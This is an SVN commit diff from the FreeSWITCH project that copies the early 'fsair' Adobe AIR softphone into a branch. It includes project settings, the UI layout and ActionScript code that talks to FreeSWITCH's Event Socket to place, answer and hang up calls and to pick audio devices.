--- freeswitch/branches/seven/contrib/seven/fsair/.project	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/.project	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<projectDescription>
+	<name>fsair</name>
+	<comment></comment>
+	<projects>
+	</projects>
+	<buildSpec>
+		<buildCommand>
+			<name>com.adobe.flexbuilder.project.flexbuilder</name>
+			<arguments>
+			</arguments>
+		</buildCommand>
+		<buildCommand>
+			<name>com.adobe.flexbuilder.apollo.apollobuilder</name>
+			<arguments>
+			</arguments>
+		</buildCommand>
+	</buildSpec>
+	<natures>
+		<nature>com.adobe.flexbuilder.apollo.apollonature</nature>
+		<nature>com.adobe.flexbuilder.project.flexnature</nature>
+		<nature>com.adobe.flexbuilder.project.actionscriptnature</nature>
+	</natures>
+</projectDescription>

Copied: freeswitch/branches/seven/contrib/seven/fsair/.settings (from rev 14471, freeswitch/trunk/contrib/seven/fsair/.settings)

Deleted: freeswitch/branches/seven/contrib/seven/fsair/.settings/org.eclipse.core.resources.prefs

Copied: freeswitch/branches/seven/contrib/seven/fsair/.settings/org.eclipse.core.resources.prefs (from rev 14471, freeswitch/trunk/contrib/seven/fsair/.settings/org.eclipse.core.resources.prefs) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/fsair/.settings/org.eclipse.core.resources.prefs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/.settings/org.eclipse.core.resources.prefs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+#Fri Jul 10 22:37:21 CST 2009
+eclipse.preferences.version=1
+encoding/<project>=utf-8

Deleted: freeswitch/branches/seven/contrib/seven/fsair/FreeSWITCH-Air.air

Copied: freeswitch/branches/seven/contrib/seven/fsair/FreeSWITCH-Air.air (from rev 14471, freeswitch/trunk/contrib/seven/fsair/FreeSWITCH-Air.air)


(Binary files differ)

Copied: freeswitch/branches/seven/contrib/seven/fsair/bin-debug (from rev 14471, freeswitch/trunk/contrib/seven/fsair/bin-debug)

Copied: freeswitch/branches/seven/contrib/seven/fsair/icons (from rev 14471, freeswitch/trunk/contrib/seven/fsair/icons)

Deleted: freeswitch/branches/seven/contrib/seven/fsair/icons/fsair_16.png

Copied: freeswitch/branches/seven/contrib/seven/fsair/icons/fsair_16.png (from rev 14471, freeswitch/trunk/contrib/seven/fsair/icons/fsair_16.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/seven/fsair/icons/fsair_32.png

Copied: freeswitch/branches/seven/contrib/seven/fsair/icons/fsair_32.png (from rev 14471, freeswitch/trunk/contrib/seven/fsair/icons/fsair_32.png)


(Binary files differ)

Copied: freeswitch/branches/seven/contrib/seven/fsair/libs (from rev 14471, freeswitch/trunk/contrib/seven/fsair/libs)

Copied: freeswitch/branches/seven/contrib/seven/fsair/src (from rev 14471, freeswitch/trunk/contrib/seven/fsair/src)

Deleted: freeswitch/branches/seven/contrib/seven/fsair/src/MessageWindow.mxml

Copied: freeswitch/branches/seven/contrib/seven/fsair/src/MessageWindow.mxml (from rev 14471, freeswitch/trunk/contrib/seven/fsair/src/MessageWindow.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/fsair/src/MessageWindow.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/src/MessageWindow.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="utf-8"?>
+<mx:Window xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute" width="400" height="70">
+	<mx:Label x="39" y="19" text="Incoming Call ..." id="MessageLabel" width="220"/>
+	<mx:Button x="71" y="36" label="Accept"/>
+	<mx:Button x="217" y="36" label="Reject"/>
+
+		
+</mx:Window>

Copied: freeswitch/branches/seven/contrib/seven/fsair/src/com (from rev 14471, freeswitch/trunk/contrib/seven/fsair/src/com)

Copied: freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH (from rev 14471, freeswitch/trunk/contrib/seven/fsair/src/com/FreeSWITCH)

Copied: freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/XML (from rev 14471, freeswitch/trunk/contrib/seven/fsair/src/com/FreeSWITCH/XML)

Deleted: freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/XML/ESL_event.as

Copied: freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/XML/ESL_event.as (from rev 14471, freeswitch/trunk/contrib/seven/fsair/src/com/FreeSWITCH/XML/ESL_event.as) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/XML/ESL_event.as	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/XML/ESL_event.as	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,55 @@
+// ActionScript file
+
+
+package com.FreeSWITCH.XML {
+	import flash.errors.*;
+	import flash.events.*;
+	import flash.utils.Dictionary;
+		
+	public class ESL_event extends Object
+	{
+		private var xml:XML;
+		private var plain:Dictionary;
+		private var type:String;
+				
+
+		public function ESL_event(event_type:String, str:String="<xml></xml>"):void{
+			type = event_type;
+			
+			if (type == "xml") { 
+				xml = new XML(str);
+			} else {
+				plain = new Dictionary;
+				for each( var line:String in str.split("\n") ) {
+					var a:Array = line.split(": ");
+					plain[a[0]] = a[1];
+				}
+			}	
+		}
+
+		public function toString():String {
+			if (type == "xml" ) {
+				return xml.toString();
+			} else {
+				return plain.toString();
+			}
+		}
+		
+		public function event_name():String{
+			return get_value("Event-Name");
+		}
+		
+		public function event_subclass():String{
+			return get_value("Event-Subclass");
+		}
+		
+		public function get_value(element:String):String{
+			if ( type == "xml" ) {
+				return unescape(xml.headers.elements(element));
+			} else {
+				return unescape(plain[element]);
+			}
+		}
+	}
+	
+}

Copied: freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/socket (from rev 14471, freeswitch/trunk/contrib/seven/fsair/src/com/FreeSWITCH/socket)

Deleted: freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/socket/ESL.as

Copied: freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/socket/ESL.as (from rev 14471, freeswitch/trunk/contrib/seven/fsair/src/com/FreeSWITCH/socket/ESL.as) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/socket/ESL.as	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/socket/ESL.as	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,153 @@
+// ActionScript file
+
+
+package com.FreeSWITCH.socket {
+	import com.FreeSWITCH.XML.ESL_event;
+	
+	import flash.errors.*;
+	import flash.events.*;
+	import flash.net.Socket;
+	import flash.utils.ByteArray;
+	import flash.utils.Dictionary;
+
+		
+	public class ESL extends Socket
+	{
+
+		private var last_data:String;
+		
+		private var event_callback:Dictionary = new Dictionary();
+		private var api_callback:Function;
+		private var command_callback:Function;
+		private var esl_password:String;
+		
+		public function ESL(password:String = "ClueCon"):void {
+			trace("init");
+			esl_password = password;
+			addEventListener(ProgressEvent.SOCKET_DATA, dataHandler);
+		}
+		
+		public function addEventCallback(key:String, func:Function):void{
+			event_callback[key] = func;
+		}
+		
+		public function dataHandler(event:ProgressEvent):void {
+			
+			var str:String = readUTFBytes(event.bytesLoaded);
+			var header:ESL_header;
+			var body:String;
+			
+			var head_end:int;
+
+			if (last_data != null) {
+				str = last_data + str;
+				last_data = null;
+			}
+			
+			while (str != null && str.length > 0) {
+			 
+			 	head_end = str.indexOf("\n\n");
+			 	if (head_end < 0) {
+			 		last_data = str;
+			 		break;
+			 	}
+
+				header = new ESL_header(str.substring(0, head_end));
+				body = str.substr(head_end + 2, header.content_length());
+				
+				if (body.length < header.content_length() ) {
+					last_data = str;
+					trace("last_date: " + last_data);
+					break;
+				}
+				
+				str = str.substr(head_end + 2 + header.content_length() );
+//trace(str);				
+//				trace(header.content_type());
+				
+				if(header.content_type() == "auth/request") {
+					auth(esl_password);
+				}else if(header.content_type() == "api/response") {
+					
+					if (api_callback != null) {
+						api_callback(body);
+						api_callback = null;
+					}
+				}else if(header.content_type() == "command/reply") {
+					if (command_callback != null) {
+						command_callback(header.getHeader("Reply-Text"));
+						command_callback = null;
+					}	
+				}else if(header.content_type().indexOf("text/event-") >= 0) {
+					
+					var event_type:String = header.content_type() == "text/event-xml" ? "xml" : "plain";
+						
+					var eslev:ESL_event = new ESL_event(event_type, body);
+							
+					for (var key:Object in event_callback)
+					{			
+	   					trace(key + ", " + event_callback[key]);
+	   					
+	   					var event_name:String, event_subclass:String;
+	   					var a:Array = key.toString().split('|');
+	   					event_name = a[0];
+	   					event_subclass = a[1];
+	   				
+	   					trace("event_name: " + eslev.event_name());
+	   					trace("event_subclass: " + eslev.event_subclass());
+	   					
+						if ( eslev.event_name() == event_name && 
+							(event_subclass == '-' || eslev.event_subclass() == event_subclass)) {
+							event_callback[key](eslev);
+						}
+					
+					}
+											
+				}
+			}
+									
+		}
+
+				
+		public function esl_send(str:String, callback:Function=null):void {
+			var ba:ByteArray = new ByteArray();  
+			ba.writeMultiByte(str + "\n\n", "UTF-8");
+			
+			command_callback = callback;
+			writeBytes(ba);
+			flush();
+		}
+
+		public function auth(pass:String, callback:Function=null):void {
+			esl_send("Auth " + pass, callback);
+		}
+		
+		public function esl_event(events:String, type:String="plain"):void {
+			esl_send("event " + type + " " + events);
+		}
+		
+		public function esl_filter(header:String, value:String, del:String=""):void {
+			esl_send("filter " + del + " header " + "value");
+		}
+				
+		public function api(str:String, callback:Function=null):void {
+			api_callback = callback;
+			esl_send("api " + str);
+		}
+		
+		public function bgapi(str:String, callback:Function=null):void{
+			api_callback = callback;
+    		esl_send("bgapi " + str);	
+		}
+			
+		public function execute(app:String, app_arg:String, uuid:String):void{
+			var str:String = "sendmsg " + uuid + "\n\n";
+			str += "call-command: execute";
+			str += "execute-app-name: " + app;
+			str += "execute-app-arg: " + app_arg;
+			
+			esl_send(str);
+		}
+			
+	}
+}

Deleted: freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/socket/ESL_header.as

Copied: freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/socket/ESL_header.as (from rev 14471, freeswitch/trunk/contrib/seven/fsair/src/com/FreeSWITCH/socket/ESL_header.as) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/socket/ESL_header.as	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/src/com/FreeSWITCH/socket/ESL_header.as	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+// ActionScript file
+
+package com.FreeSWITCH.socket {
+	import flash.utils.Dictionary;
+		
+	public class ESL_header
+	{
+		
+		private var header:Dictionary = new Dictionary;
+		
+		public function ESL_header(str:String):void {
+
+			for each( var line:String in str.split("\n") ) {
+				var a:Array = line.split(": ");
+				if(a.length != 2) {
+					continue;
+				}
+				header[a[0]] = a[1];
+			}
+			
+		}
+		
+		public function content_type():String {
+			return header["Content-Type"];
+		}
+		
+		public function content_length():int {
+			return (int)(header["Content-Length"]) ;
+		}
+		
+		public function getHeader(key:String):String {
+			return header[key];
+		}	
+	
+	}
+
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/seven/fsair/src/fsair-app.xml

Copied: freeswitch/branches/seven/contrib/seven/fsair/src/fsair-app.xml (from rev 14471, freeswitch/trunk/contrib/seven/fsair/src/fsair-app.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/fsair/src/fsair-app.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/src/fsair-app.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<application xmlns="http://ns.adobe.com/air/application/1.5">
+
+<!-- Adobe AIR Application Descriptor File Template.
+
+	Specifies parameters for identifying, installing, and launching AIR applications.
+
+	xmlns - The Adobe AIR namespace: http://ns.adobe.com/air/application/1.5
+			The last segment of the namespace specifies the version 
+			of the AIR runtime required for this application to run.
+			
+	minimumPatchLevel - The minimum patch level of the AIR runtime required to run 
+			the application. Optional.
+-->
+
+	<!-- The application identifier string, unique to this application. Required. -->
+	<id>fsair</id>
+
+	<!-- Used as the filename for the application. Required. -->
+	<filename>fsair</filename>
+
+	<!-- The name that is displayed in the AIR application installer. 
+	     May have multiple values for each language. See samples or xsd schema file. Optional. -->
+	<name>  
+  		<text xml:lang="en">FreeSWITCH Air SoftPhone</text>  
+  		<text xml:lang="fr">FreeSWITCH Air SoftPhone</text>  
+ 		<text xml:lang="zh">FreeSWITCH Air 软电话</text>  
+	</name> 
+	
+	<!-- An application version designator (such as "v1", "2.5", or "Alpha 1"). Required. -->
+	<version>Ver 0.0.1</version>
+
+	<!-- Description, displayed in the AIR application installer.
+	     May have multiple values for each language. See samples or xsd schema file. Optional. -->
+	<!-- <description></description> -->
+
+	<!-- Copyright information. Optional -->
+	<!-- <copyright></copyright> -->
+
+	<!-- Settings for the application's initial window. Required. -->
+	<initialWindow>
+		<!-- The main SWF or HTML file of the application. Required. -->
+		<!-- Note: In Flex Builder, the SWF reference is set automatically. -->
+		<content>[This value will be overwritten by Flex Builder in the output app.xml]</content>
+		
+		<!-- The title of the main window. Optional. -->
+		<!-- <title></title> -->
+
+		<!-- The type of system chrome to use (either "standard" or "none"). Optional. Default standard. -->
+		<systemChrome>none</systemChrome>
+
+		<!-- Whether the window is transparent. Only applicable when systemChrome is none. Optional. Default false. -->
+		<transparent>true</transparent>
+
+		<!-- Whether the window is initially visible. Optional. Default false. -->
+		<!-- <visible></visible> -->
+
+		<!-- Whether the user can minimize the window. Optional. Default true. -->
+		<!-- <minimizable></minimizable> -->
+
+		<!-- Whether the user can maximize the window. Optional. Default true. -->
+		<!-- <maximizable></maximizable> -->
+
+		<!-- Whether the user can resize the window. Optional. Default true. -->
+		<resizable>false</resizable>
+
+		<!-- The window's initial width. Optional. -->
+		<width>400</width>
+
+		<!-- The window's initial height. Optional. -->
+		<height>460</height>
+
+		<!-- The window's initial x position. Optional. -->
+		<!-- <x></x> -->
+
+		<!-- The window's initial y position. Optional. -->
+		<!-- <y></y> -->
+
+		<!-- The window's minimum size, specified as a width/height pair, such as "400 200". Optional. -->
+		<!-- <minSize></minSize> -->
+
+		<!-- The window's initial maximum size, specified as a width/height pair, such as "1600 1200". Optional. -->
+		<!-- <maxSize></maxSize> -->
+	</initialWindow>
+
+	<!-- The subpath of the standard default installation location to use. Optional. -->
+	<!-- <installFolder></installFolder> -->
+
+	<!-- The subpath of the Programs menu to use. (Ignored on operating systems without a Programs menu.) Optional. -->
+	<!-- <programMenuFolder></programMenuFolder> -->
+
+	<!-- The icon the system uses for the application. For at least one resolution,
+		 specify the path to a PNG file included in the AIR package. Optional. -->
+	<icon>
+		<image16x16>icons/fsair_16.png</image16x16>
+		<image32x32>icons/fsair_32.png</image32x32>
+		<!--<image48x48></image48x48>
+		<image128x128></image128x128>-->
+	</icon>
+
+	<!-- Whether the application handles the update when a user double-clicks an update version
+	of the AIR file (true), or the default AIR application installer handles the update (false).
+	Optional. Default false. -->
+	<!-- <customUpdateUI></customUpdateUI> -->
+	
+	<!-- Whether the application can be launched when the user clicks a link in a web browser.
+	Optional. Default false. -->
+	<!-- <allowBrowserInvocation></allowBrowserInvocation> -->
+
+	<!-- Listing of file types for which the application can register. Optional. -->
+	<!-- <fileTypes> -->
+
+		<!-- Defines one file type. Optional. -->
+		<!-- <fileType> -->
+
+			<!-- The name that the system displays for the registered file type. Required. -->
+			<!-- <name></name> -->
+
+			<!-- The extension to register. Required. -->
+			<!-- <extension></extension> -->
+			
+			<!-- The description of the file type. Optional. -->
+			<!-- <description></description> -->
+			
+			<!-- The MIME content type. -->
+			<!-- <contentType></contentType> -->
+			
+			<!-- The icon to display for the file type. Optional. -->
+			<!-- <icon>
+				<image16x16></image16x16>
+				<image32x32></image32x32>
+				<image48x48></image48x48>
+				<image128x128></image128x128>
+			</icon> -->
+			
+		<!-- </fileType> -->
+	<!-- </fileTypes> -->
+
+</application>

Deleted: freeswitch/branches/seven/contrib/seven/fsair/src/fsair.as

Copied: freeswitch/branches/seven/contrib/seven/fsair/src/fsair.as (from rev 14471, freeswitch/trunk/contrib/seven/fsair/src/fsair.as) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/fsair/src/fsair.as	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/src/fsair.as	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,352 @@
+		
+		import com.FreeSWITCH.XML.ESL_event;
+		import com.FreeSWITCH.socket.ESL;
+		
+		import flash.events.*;
+		import flash.utils.Dictionary;
+		import flash.utils.Timer;  
+		
+		var uuids:Dictionary = new Dictionary();
+		
+		var esl:ESL;
+		
+		var ring_win:MessageWindow = new MessageWindow();
+		
+		var connect_timer:Timer  = new Timer(2000);
+		var re_connect_timer:Timer  = new Timer(2000);
+		
+		function initApp():void {
+			trace(NativeApplication.nativeApplication.runtimeVersion);
+			ringBox.visible = false;
+			getSettings();
+			esl = new ESL(esl_pass.text);
+			
+			connect_timer.addEventListener(TimerEvent.TIMER, post_connect);
+			re_connect_timer.addEventListener(TimerEvent.TIMER, re_connect);
+					
+			connect();
+			
+		}
+		
+		function connect():void {  
+			try  
+			{  
+				if (esl.connected ) {
+					msg("Already Connected");
+					return;
+				}  
+
+				esl.connect(esl_addr.text, (int)(esl_port.text));
+				esl.addEventListener(Event.CONNECT, connectHandler);  
+				esl.addEventListener(Event.CLOSE, closeHandler);  
+				esl.addEventListener(ErrorEvent.ERROR, errorHandler);  
+				esl.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);  
+//				 esl.addListener(ProgressEvent.SOCKET_DATA, dataHandler);
+				esl.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
+
+				esl.addEventCallback("CUSTOM|portaudio::ringing", onRing);
+				esl.addEventCallback("CHANNEL_HANGUP|-", onHangup);
+			   
+				connect_timer.start();
+				msg("timer started");
+			}
+			  
+			catch (error:Error)  
+			{  
+				msg(error.message + "\n");  
+				esl.close();  
+			}  
+		 
+		}
+		
+		function re_connect(event:TimerEvent):void {
+
+			event.target.stop();
+			
+			event.target.delay += 2000;
+			
+			if (event.target.delay > 120000) {
+				event.target.delay = 2000;
+			}
+			  
+			msg("Connect faild. will reconnect in " + event.target.delay + " seconds" );
+			connect();
+			
+		}
+		
+		function post_connect(event:TimerEvent):void {
+			
+			event.target.stop();
+			
+			if (!esl.connected) {
+				event.target.stop();
+				re_connect_timer.start();
+				return;
+			}
+			
+			msg("timer stoped");
+			initDevList();
+//			esl.esl_event("ALL");
+			esl.esl_event("CHANNEL_HANGUP CUSTOM portaudio::ringing");
+						
+		}
+			
+		function setTitle(title:String):void {
+			this.title = "FreeSWITCH Air - [" + title + ']';
+		}
+			
+		function msg(message:String):void
+		{
+			logBox.text += message + "\n";
+			logBox.verticalScrollPosition = logBox.maxVerticalScrollPosition;
+		}
+		
+		function clearLogs():void {
+			logBox.text = logBox.text.substr(-1, 40);
+		}			  
+		
+		function connectHandler(event:Event):void {
+			setTitle('Connected');
+			msg("Connected: " + esl_addr.text + ":" + esl_port.text);
+		}  
+		function closeHandler(event:Event):void {
+			//msg(event.type + ' ' + event.toString());
+			setTitle('Disconnected');
+		}
+		function errorHandler(event:Event):void {
+			msg(event.type + ' ' + event.toString());
+			setTitle('Error');
+		}
+		function ioErrorHandler(event:IOErrorEvent):void {
+			msg(event.type + ' ' + event.toString());
+			setTitle('IOError');
+			
+			if (!esl.connected) {
+				connect();
+			}	
+		}
+		function securityErrorHandler(event:SecurityErrorEvent):void {
+			msg(event.type + ' ' + event.toString());
+			setTitle('SecurityError');
+
+ 			if (!esl.connected) {
+				connect();
+			}	
+	
+		}
+		
+		function onRing(eslev:ESL_event):void {
+			
+			var uuid:String = eslev.get_value("Unique-ID");
+			var caller_id_name:String = eslev.get_value("Caller-Caller-ID-Name");
+			var caller_id_number:String = eslev.get_value("Caller-Caller-ID-Number");			
+			var call_id:String = eslev.get_value("call_id");
+			
+			uuids[uuid] = call_id;
+
+			callerID.text = caller_id_name + ' <' + caller_id_number + '>';
+			ringBox.visible = true;
+			
+			
+			msg('Incoming call: ' + caller_id_name + '<' + caller_id_number + '>');
+			msg(uuid);
+			
+			//how to make this work?
+			//this.stage.nativeWindow.icon.bounce();
+			
+//			NativeApplication.nativeApplication.icon.bounce(NotificationType.CRITICAL)
+     		stage.nativeWindow.notifyUser(NotificationType.CRITICAL);
+
+			//show a ring window? 
+//			ring_win.MessageLabel.text = "Incoming Call";
+//			ring_win.open();
+			
+		}
+		
+		function onHangup(eslev:ESL_event):void {
+			
+			var uuid:String = eslev.get_value("Unique-ID");
+			
+			if (uuids[uuid] != null) {
+				msg("hangup");
+				callerID.text = "Hangup";
+				delete uuids[uuid];
+			}
+			
+		}
+	  
+		function sendDtmf(dtmf:String):void {
+			esl.api("pa dtmf " + dtmf);
+		}
+		
+		function switchPA():void {
+			esl.api("pa switch");
+		}
+				
+		function sendCommand():void  
+		{  
+		
+			msg('>>> ' + command.text);
+			
+			if (command.text.substr(0,1) == '/') {
+				esl.esl_send(command.text.substr(1), commandCallback);
+			} else {
+				esl.api(command.text, commandCallback)
+			}
+			  
+		} 
+		
+		function commandCallback(data:String):void {
+			msg(data);
+		}
+	
+		function answer():void{
+			esl.api("pa answer");
+			ringBox.visible = false;
+		}
+			
+		function hangup():void{
+			esl.api("pa hangup");
+			ringBox.visible = false;
+		}
+		
+		function call():void{
+			esl.api("pa call " + number.text, updateUUID);
+			msg("Calling " + number.text);
+			
+			if( number.dataProvider.length < 1) {
+				number.dataProvider.addItemAt(number.text, 0);
+			} else if (number.dataProvider.getItemAt(0) != number.text ){
+				number.dataProvider.addItemAt(number.text, 0);
+			}
+			
+		}
+		
+		function updateUUID(data:String):void {
+			
+			var a:Array = new Array();
+			a = data.split(":");
+			
+			trace(data);
+			
+			if (a.length == 3 && a[0] == "SUCCESS") {
+				uuids[a[2].substr(0, a[2].length - 1) ] = a[1];
+			} 
+			
+		}
+		
+		function initDevList():void {
+			esl.api("pa devlist xml", devlistCallback);
+		}
+			
+		function reloadDevList():void {
+//			esl.api("pa rescan");
+			esl.api("pa devlist xml", devlistCallback);
+		}
+		
+		function devlistCallback(data:String):void {
+//			msg(data);
+			
+			var xml:XML = new XML(data);
+			
+			inDev.dataProvider.removeAll();
+			outDev.dataProvider.removeAll();
+			ringDev.dataProvider.removeAll();
+			
+			for each (var d:XML in xml.devices.device){
+				
+				if (d.@inputs > 0) {
+					inDev.dataProvider.addItem({ label: d.@name, value:d.@id } );
+					
+				}else if(d.@outputs > 0) {
+					outDev.dataProvider.addItem({ label: d.@name, value:d.@id } );
+					ringDev.dataProvider.addItem({ label: d.@name, value:d.@id } );
+					
+				}
+				
+				if (d.@id == xml.bindings.input.@device) {
+					inDev.selectedIndex = inDev.dataProvider.length - 1;
+				} else if (d.@id == xml.bindings.output.@device) {
+					outDev.selectedIndex = outDev.dataProvider.length - 1;
+					if (d.@id == xml.bindings.ring.@device) {
+						ringDev.selectedIndex = ringDev.dataProvider.length - 1;
+						 
+					} 
+				}
+				
+				
+
+			}
+			
+		}
+		
+		function setPaDev():void{
+			esl.api("pa indev #" + inDev.selectedItem.value);
+			esl.api("pa outdev #" + outDev.selectedItem.value);
+			esl.api("pa ringdev #" + ringDev.selectedItem.value);
+		}
+		
+		function unloadPA():void {
+			esl.api("unload mod_portaudio");
+		}
+		
+		function loadPA():void {
+			esl.api("load mod_portaudio");
+		}
+		
+		function loopPA():void {
+			esl.api("pa looptest");
+		}
+		
+		function toggleAdvanced():void {
+			if (this.width == 260 ) {
+				this.width = 620;
+				advancedButton.label = "Advanced <<<";
+			} else {
+				this.width = 260;
+				advancedButton.label = "Advanced >>>";
+			}
+			
+			
+		}
+		
+		function _save_settings(key:String, val:String):void {
+			var bytes:ByteArray = new ByteArray();  
+ 			bytes.writeUTFBytes(val);  
+ 			EncryptedLocalStore.setItem(key, bytes);  
+		}
+		function _get_settings(key:String):String {
+			var storedValue:ByteArray = EncryptedLocalStore.getItem(key);  
+			
+			if (storedValue == null) {
+				return null;
+			}
+			
+ 			return storedValue.readUTFBytes(storedValue.length); 
+		}
+		
+		function saveSettings():void {
+			   
+ 			_save_settings("freeswitch_install_path", freeswitch_install_path.text);
+ 			_save_settings("esl_addr", esl_addr.text);
+ 			_save_settings("esl_port", esl_port.text);
+ 			_save_settings("esl_pass", esl_pass.text);
+ 			
+		}
+		
+		function getSettings():void {
+			freeswitch_install_path.text = _get_settings("freeswitch_install_path") || "/usr/local/freeswitch";
+			esl_addr.text = _get_settings("esl_addr") || "127.0.0.1";
+			esl_port.text = _get_settings("esl_port") || "8021";
+			esl_pass.text = _get_settings("esl_pass") || "ClueCon";
+		}
+		
+		function runFS():void {
+			
+		}
+		
+		function shutdownFS():void {
+			esl.api("fsctl shutdown");
+		}
+		
+		
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/seven/fsair/src/fsair.mxml

Copied: freeswitch/branches/seven/contrib/seven/fsair/src/fsair.mxml (from rev 14471, freeswitch/trunk/contrib/seven/fsair/src/fsair.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/fsair/src/fsair.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/src/fsair.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<mx:WindowedApplication xmlns:mx="http://www.adobe.com/2006/mxml" 
+	layout="absolute" title="FreeSWITCH Air" height="408" width="622"
+	creationComplete = "initApp()">
+	
+	<mx:Script source="fsair.as"/>
+	
+	<mx:Style> 
+    WindowedApplication 
+    { 
+        background-color:"0x999999"; 
+        background-alpha:"0.5"; 
+    } 
+	</mx:Style>
+	<mx:Label text="Hello World" enabled="true" horizontalCenter="-232" verticalCenter="14" id="label1"/>
+	<mx:Button x="137" y="10" label="Advanced &lt;&lt;&lt;" click="toggleAdvanced()" width="114" id="advancedButton"/>
+	<mx:Panel x="0" y="40" width="251" height="219" layout="absolute" color="#3232C0" barColor="#3FB92B" headerHeight="10" headerColors="2">
+		<mx:Button x="176" y="135" label="Call" click="call()" width="51" color="#00FF00"/>
+		<mx:Button x="176" y="105" label="Hup" click="hangup()" id="btnHangup" width="50" color="#FF0000"/>
+		<mx:Button x="11.5" y="8" label="1" width="30" height="24" click="sendDtmf('1')"/>
+		<mx:Button x="49.5" y="8" label="2" width="30" height="24" click="sendDtmf('2')"/>
+		<mx:Button x="87.5" y="8" label="3" width="30" height="24" click="sendDtmf('3')"/>
+		<mx:Button x="11.5" y="40" label="4" width="30" height="24" click="sendDtmf('4')"/>
+		<mx:Button x="49.5" y="40" label="5" width="30" height="24" click="sendDtmf('5')"/>
+		<mx:Button x="87.5" y="72" label="9" width="30" height="24" click="sendDtmf('9')"/>
+		<mx:Button x="49.5" y="72" label="8" width="30" height="24" click="sendDtmf('8')"/>
+		<mx:Button x="11.5" y="72" label="7" width="30" height="24" click="sendDtmf('7')"/>
+		<mx:Button x="87.5" y="40" label="6" width="30" height="24" click="sendDtmf('6')"/>
+		<mx:Button x="87.5" y="104" label="#" width="30" height="24" click="sendDtmf('#')"/>
+		<mx:Button x="125.5" y="9" label="A" width="30" height="24" click="sendDtmf('A')"/>
+		<mx:Button x="125.5" y="73" label="C" width="30" height="24" click="sendDtmf('C')"/>
+		<mx:Button x="125.5" y="41" label="B" width="30" height="24" click="sendDtmf('B')"/>
+		<mx:Button x="125.5" y="104" label="D" width="30" height="24" click="sendDtmf('D')"/>
+		<mx:Button x="49.5" y="104" label="0" width="30" height="24" click="sendDtmf('0')"/>
+		<mx:Button x="11.5" y="104" label="*" width="30" height="24" click="sendDtmf('*')"/>
+		<mx:Button x="176" y="74" label="sw" click="switchPA()" width="51"/>
+		<mx:ComboBox x="10" y="135" editable="true" width="145.5" id="number"></mx:ComboBox>
+		<mx:Label x="10" y="169" text="_" id="callerID"/>
+	</mx:Panel>
+	<mx:TabNavigator x="259" y="10" width="352" height="311" id="tn1" creationPolicy="all">
+		<mx:Canvas label="Devices" width="100%" height="100%">
+			<mx:Button x="23" y="128" label="Get" click="reloadDevList()"/>
+			<mx:Button x="68" y="128" label="Set" click="setPaDev()"/>
+			<mx:Button x="182" y="128" label="UnLoad" click="unloadPA()"/>
+			<mx:Button x="248" y="128" label="Load" click="loadPA()"/>
+			<mx:Button x="112" y="127" label="Loop" click="loopPA()" width="53" height="23"/>
+			<mx:ComboBox x="95" y="28" id="inDev" width="206"></mx:ComboBox>
+			<mx:ComboBox x="95" y="54" id="outDev" width="206"></mx:ComboBox>
+			<mx:ComboBox x="95" y="84" id="ringDev" width="206"></mx:ComboBox>
+			<mx:Label x="23" y="30" text="Sound In"/>
+			<mx:Label x="23" y="56" text="Sound Out"/>
+			<mx:Label x="23" y="86" text="Ring Dev"/>
+		</mx:Canvas>
+		<mx:Canvas label="Settings" width="100%" height="100%">
+			<mx:Label x="10" y="24" text="FreeSWITCH Install  Path" width="169"/>
+			<mx:TextInput x="10" y="50" width="315" text="/usr/local/freeswitch" id="freeswitch_install_path"/>
+			<mx:TextInput x="10" y="106" width="107" text="127.0.0.1" id="esl_addr"/>
+			<mx:TextInput x="125" y="106" width="42" text="8021" id="esl_port"/>
+			<mx:Label x="10" y="80" text="Event Socket Addr" width="120"/>
